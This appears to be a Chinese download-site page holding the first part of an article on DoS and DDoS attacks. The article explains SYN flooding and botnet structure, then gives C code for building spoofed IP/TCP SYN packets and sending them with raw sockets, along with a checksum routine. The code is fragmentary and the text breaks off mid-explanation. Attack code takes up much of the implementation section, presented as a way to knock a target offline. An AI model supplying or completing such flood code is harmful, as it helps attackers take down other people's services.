⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 dos ddos.txt

📁 本文介绍了Dos(Denial of severance 拒绝服务)和Ddos(Distributed Denial of Severance 分布式拒绝服务)网络攻击的原理和c语言实现。并且在着重分
💻 TXT
📖 第 1 页 / 共 2 页
字号:
1.引言
假设这样一种情况,那就是人类本身已经完全进化以至于具有这种机能——无论A、B两者身处时空的何种情况下,都可以在需要沟通的情况下立即相互沟通,并且这种沟通不会影响其他人;也不会被其他人影响。此时,网络就不会存在了。因为网络本身就是 为了弥补人类在沟通上面的“天生缺陷”而被建立的。比如说电话网络可以使距离较远的两者进行语言交流,移动电话网络更是如此。
因此,网络自从出生的那一刻起,就可以被定义为一种管理概念。我们依靠为网络建立的抽象概念(协议等),以及为了将这些概念具体化的工具(程序,类库),利用现有资源,尽可能(我们希望如此)地进行信息交流。但是由于这种管理机制自身存在的许多缺陷,才会涌现出各式各样的病毒、木马、攻击程序……遗憾的是这种缺陷是永远无法全部弥补的(就好比人无完人),任何系统都不可能尽善尽美(即使我们为了弥补漏洞作出巨大努力并且取得相应功效)。
在这个基础之上,Dos ddos攻击作为攻击方式中较为特殊的一种,它并不依赖与操作系统本身的漏洞(比方所ms06-001漏洞的攻击程序没有办法在Unix系统上面有任何收获),而是依赖网络本身这个概念的“漏洞”进行攻击的,因此它不依赖于平台,并且可以在较长一段时间内发挥作用。

2.dos ddos 原理
Dos攻击的基本原理是是利用合理的服务请求来占用过多的服务资源,致使服务超载,无法响应其他合法用户的请求。服务资源可以是网络带宽、文件系统空间容量、开放的进程或者向内的连接等等。这种攻击会导致资源的匮乏,所以无论计算机的处理速度多么快、内存容量多么大、互连网的速度多么快都无法避免这种攻击带来的后果。当服务资源匮乏时,对其他合法用户造成的影响就像是所请求的服务被拒绝一样。

Dos的攻击流程如下:
首先攻击者向服务器(被攻击者)发出带有虚假用户地址的合理请求,服务器回复请求后等待用户响应消息,由于用户地址是虚假的,服务器无法得到相应的用户响应,在等待一段时间(数秒)后该连接和相应的资源才会因超时而释放。
在此期间连接会占用一定的服务器和网络资源,当服务器接收到过多的这种连接时就会耗尽资源而对正常用户的服务请求产生拒绝现象,由此产生拒绝服务攻击。典型的Dos攻击如Tcp Flooding等。

Ddos攻击流程如下:
Ddos是一种基于Dos攻击,采用分布式、协作式的新型攻击方法.一个完整的Ddos攻击体系共分为4层,除被攻击者外,包括攻击者、控制傀儡机a和攻击傀儡机在内的其它3层都间接或直接参与了整个攻击过程。
首先攻击者通过特定的攻击程序扫描并入侵网络上存在安全漏洞的主机,在这些主机上植入类似于“木马”的后门程序,再将被入侵主机分为Handle和zombie两部分。通常Handle较少,并不直接参与攻击过程,而zombie是直接攻击源,数量巨大。攻击开始后,Zombie根据Handler发出的指令,这个指令的执行时间往往是Handler上的后门程序预先设置好的,同时向被攻击者发出攻击数据流,该攻击流为普通Dos攻击。

这样一来,问题就明朗了,提炼一下信息:所谓的dos ddos攻击就是用大量无用信息使被攻击着失去处理有用信息的能力,达到“拒绝服务”目的。基于这个原则,我们有许多想法,可以写出丰富多彩的程序。但是在这些众多的想法中,有优有劣,为表明方法优劣,我们定义每千条指令延迟

每千条指令延迟:指攻击端平均发出千条指令时被攻击端延迟情况。延迟情况根据实际分为:1)微有些卡,但不影响正常操作2)比较卡,打开程序明显变慢3)十分卡,打开程序需要较长时间4)死机

为了取得的数据准确,我们在本机建立虚拟机。根据取得的数据[1],我们进行了数据拟合,并且取得以下图形
Syn-flooding	发送udp数据包	发送icmp数据包(ping)	代理服务器攻击
			
(数据还没有取得,Ethereal用的不熟练)

            根据结果,可以看到:
Syn-flooding早已经成为经典,它采用极小的代宽牺牲对被攻击者产生重创。相比之下,udp tcmp对己方的带宽牺牲巨大。而代理服务器则上在已经取得大量代理的情况下,采取分布式攻击攻击。攻击者在攻击过程是可以断开的。因此是较特殊的方法。

3.Dos Ddos的c语言实现

1)Syn-flooding
正常的两台机器使用tcp协议的通信的时候,会经过一个三次握手的过程。这样A、B之间建立通行通道,可以进行数据传输。如果在建立握手的过程中,A对B进行欺骗,使其认为握手邀请是C发出的。(这个握手请求包就叫syn包)此时B向C发出握手回应。但是此时C不会对A反映。这样,A就必须在一段时间里保持半连接状态。以次达到消耗A资源的目的。
由这个分析我们可以看到,Syn-flooding成功的关键就是那次欺骗。为了欺骗的完成,我们需要做的事情很简单,那就是伪造ip地址,然后借此向被攻击方不断发送syn报文。
这里的报文指的是ip 和tcp报文。为了我们能够有效的分析和修该它们,我将它们的结构展现如下:

ip报文结构(version4)
版本	首部长度	服务类型	数据报长度(字节)
16位表识	标志	13位分段偏移
寿命	上层协议	首部检查和
32位源ip地址
32 位目的 ip地址
选项(如果有的话)
数据(有效载荷)
为了对应ip数据报表,我们建立tag_ip_Header结构体,装载ip数据表头:

typedef struct tag_ip_Header//ip首部  
{  
unsigned char h_verlen;//4位首部长度,和4位IP版本号  
unsigned char tos;//8位服务类型  
unsigned short total_len;//16位数据报总长度  
unsigned short ident;//16位标志  
unsigned short frag_and_flags;//3位标志位(如SYN,ACK,等等)  
unsigned char ttl;//8位生存时间  
unsigned char proto;//8位上层协议  
unsigned short checksum;//16位ip首部效验和  
unsigned int SourceIP;//伪造32位源IP地址  
unsigned int DestIP;//被攻击32位目的ip地址  
}IPHEADER;  

同时,对于ip表头我们作出简单分析:
l	版本号。不同ip版本使用不同的数据报格式。通过查看版本号,路由器可确定如何解释ip数据报的剩余部分。
l	首部长度。用来确定该ip报表的有效负载从那里开始。
l	服务类型。将不同类型的ip数据报加以区别。(有些报表要求低延迟,高吞吐和可靠;有些却没有要求这么高)
l	数据报总长度。加上头部数据的数据报总长度。
l	表识、标志、片偏移。涉及到数据报具体情况。
l	寿命。每次数据报经过一台路由器,该字段减1,减为0时数据报被丢弃。
l	上层协议。这个很好理解。为6时,表示数据部分交给 TCP,17给UDP。
l	首部检查和。采用一定的方法[2],路由对每个收到的ip数据报计算首部检查和,如果这个结果和数据报中携带的数值一样的话,数据报被保留;否则被丢弃。我们在实际编程过程中也需要修改数据报的首部检查和,使得报表不被丢弃。

Tcp 数据报表。
源端口#	目标端口#
序号
确认号
首部长度	保留未用	标志字段	接受窗口
因特网检查和	紧急数据指针
选项
数据
同样,我们定义tag_tcp_Header,装载tcp报头
typedef struct tag_tcp_Header  
{  
USHORT th_sport;//伪造端口  
USHORT th_dport;//攻击端口  
unsigned int th_seq;//32位系列号  
unsigned int th_ack;//32位确认号  
unsigned char th_lenres;//4位首部长度,6位保留字  
unsigned char th_flag;//6位标志位  
USHORT th_win;//16位窗口大小  
USHORT th_sum;//16位效验和  
USHORT th_urp;//  
}TCPHEADER;  
那么,这里还有一个tcp 的简单介绍:
l	序号字段和32 位确认号字段:用来实现可靠数据传输服务。
l	接收窗口。用于流量控制。
l	首部长度字段。和ip一样。
l	选项。当发送方于接受方协商最大报文段长度。
l	标志字段。(标志包括URG.ACK.PSH.RST.SYN.FIN)
l	ACK用于确认字段中的值是有效的。这是一个在握手邀请被接受的时候返回的字段。
l	SYN就是我们要用到的握手要求字段。

掌握了报文的格式,那么我们就要想办法获得报文。其实整个程序真正发挥作用的是那个sendto 函数。这里采用MFC中winsock2的相关函数sendto发送报文。


Sendto()
功能:向一指定目的地发送数据。
int sendto (
  SOCKET s,                 //一个表识套接口的描述字       
  const char FAR * buf,  //包含待发送数据的缓冲区。          
  int len,                         //buf长度
  int flags,                       //调用方式标志位。
  const struct sockaddr FAR * to,  //指向目的套接口的地址。
  int tolen                               //tolen就是to长了
);

我们用一个伪装的ip和tcp数据报,用sendto函数向目标地址发送。这简直太简单了!

//填充Tcp首部  
int SourcePort =GetTickCount()*1986%514;  
tcpHeader.th_dport=htons(port);  
tcpHeader.th_sport=htons(SourcePort);  
tcpHeader.th_seq=htonl(0x12345678);  
tcpHeader.th_ack=0;  
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);  
tcpHeader.th_flag=2;  
tcpHeader.th_win=htons(620);  
tcpHeader.th_urp=0;  
tcpHeader.th_sum=0;  
//填充TCP伪首部用来计算TCP头部的效验和  
psdHeader.saddr=ipHeader.SourceIP;  
psdHeader.daddr=ipHeader.DestIP;  
psdHeader.mbz=0;  
psdHeader.ptcl=IPPROTO_TCP;  
psdHeader.tcpl=htons(sizeof(tcpHeader));  

//发送数据包  
int Syn=sendto(sock, SendBuff, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&syn_in, sizeof(syn_in));  
if(Syn==SOCKET_ERROR)  
{  
return false;  
}  
}  

但是我们需要注意的就是 ,在ip数据报中,存在一个叫做校验和的东西,为了使得我们精心修改的数据表能够有效发送,还需要对伪装的效验和计算,并且将它加到报表中去。这个计算依靠效验和的定义。

这些,如果使用c++来实现,可以利用MFC中winsock2.h,ws2tcpip.h中提供的类。由于手头没有书,我通过查看msdn和这两个头文件代码得到了一些理解。

//计算效验和  
USHORT checksum(USHORT *buffer,int size)  
{  
unsigned long check=0;  
while(size>1)  
{  
check+=*buffer++;  
size -=sizeof(USHORT);  
}  
if(size)  
{  
check += *(USHORT*)buffer;  
}  
check = (check >>16) + (check & 0xffff);  
check += (check >>16);  
return (USHORT)(~check);  
}  

首部检查和计算方法
在相关资料中,首部检查和是这样定义的:首部检查和用语帮助路由器检测收到的数据报中的比特错误。受部检查和是这样计算的:将首部中的每两个字节当作一个数,用1的补码运算对这些数求和。该和按1 的补码值(又称因特网检查和)存放在检查和字段。
这里所谓的补码 是计算机技术中一项基本内容。为了说明补码,我们说明模数系统:
模数从物理意义上讲,是某种计量器的容量。例如,我们日常生活中的用的钟表,模数就是12。钟表计时间是 0—11。这在数学上是一种“取模”计算。此时

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -